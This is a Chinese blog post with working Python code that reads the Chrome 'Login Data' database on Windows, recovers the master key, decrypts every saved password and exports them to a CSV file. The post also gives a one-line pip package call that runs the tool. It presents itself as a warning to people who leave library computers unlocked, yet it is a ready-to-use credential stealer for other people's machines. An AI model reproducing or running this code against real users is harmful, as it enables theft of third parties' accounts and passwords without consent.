Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
初学python数组的处理代码
Jan 04 Python
Python入门篇之字符串
Oct 17 Python
Python虚拟环境virtualenv的安装与使用详解
May 28 Python
Python实现输出程序执行进度百分比的方法
Sep 16 Python
python算法题 链表反转详解
Jul 02 Python
python对csv文件追加写入列的方法
Aug 01 Python
python使用requests.session模拟登录
Aug 09 Python
Ranorex通过Python将报告发送到邮箱的方法
Jan 12 Python
借助Paramiko通过Python实现linux远程登陆及sftp的操作
Mar 16 Python
通过实例解析Python RPC实现原理及方法
Jul 07 Python
python中xlutils库用法浅析
Dec 29 Python
pycharm 多行批量缩进和反向缩进快捷键介绍
Jan 15 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
咖啡产品发展的三大浪潮
2021/03/04 咖啡文化
Zend studio for eclipse中使php可以调用mysql相关函数的设置方法
2008/10/13 PHP
mysqli_set_charset和SET NAMES使用抉择及优劣分析
2013/01/13 PHP
体育彩票排列三组选三算法分享
2014/03/07 PHP
支持中文和其他编码的php截取字符串函数分享(截取中文字符串)
2014/03/13 PHP
教你在PHPStorm中配置Xdebug
2015/07/27 PHP
php简单构造json多维数组的方法示例
2017/06/08 PHP
锋利的jQuery 要点归纳(三) jQuery中的事件和动画(上:事件篇)
2010/03/24 Javascript
Notify - 基于jquery的消息通知插件
2011/10/18 Javascript
js截取中英文字符串、标点符号无乱码示例解读
2014/04/17 Javascript
JavaScript中跨域调用Flash的方法
2014/08/11 Javascript
PHP+jQuery+Ajax+Mysql如何实现发表心情功能
2015/08/06 Javascript
jQuery使用contains过滤器实现精确匹配方法详解
2016/02/25 Javascript
浅谈JQuery+ajax+jsonp 跨域访问
2016/06/25 Javascript
微信小程序 富文本转文本实例详解
2016/10/24 Javascript
js控制一个按钮是否可点击(可使用)disabled的实例
2017/02/14 Javascript
Angular2使用Guard和Resolve进行验证和权限控制
2017/04/24 Javascript
详谈innerHTML innerText的使用和区别
2017/08/18 Javascript
python实现简单神经网络算法
2018/03/10 Python
python获取命令行输入参数列表的实例代码
2018/06/23 Python
Django forms组件的使用教程
2018/10/08 Python
python实现飞机大战游戏
2020/10/26 Python
python实现鸢尾花三种聚类算法(K-means,AGNES,DBScan)
2019/06/27 Python
python图形开发GUI库pyqt5的详细使用方法及各控件的属性与方法
2020/02/14 Python
Django数据库操作之save与update的使用
2020/04/01 Python
Django实现whoosh搜索引擎使用jieba分词
2020/04/08 Python
html5 跨文档消息传输示例探讨
2013/04/01 HTML / CSS
HTML5高仿微信聊天、微信聊天表情|对话框|编辑器功能
2018/04/23 HTML / CSS
Bjorn Borg官方网上商店:国际运动时尚品牌
2016/08/27 全球购物
2014年乡镇卫生院工作总结
2014/11/24 职场文书
平安家庭事迹材料
2014/12/20 职场文书
数学教师个人工作总结
2015/02/06 职场文书
生产实习心得体会范文
2016/01/22 职场文书
2016年少先队活动总结
2016/04/06 职场文书
vue3中provide && inject的使用
2021/07/01 Vue.js
SQL Server中锁的用法
2022/05/20 SQL Server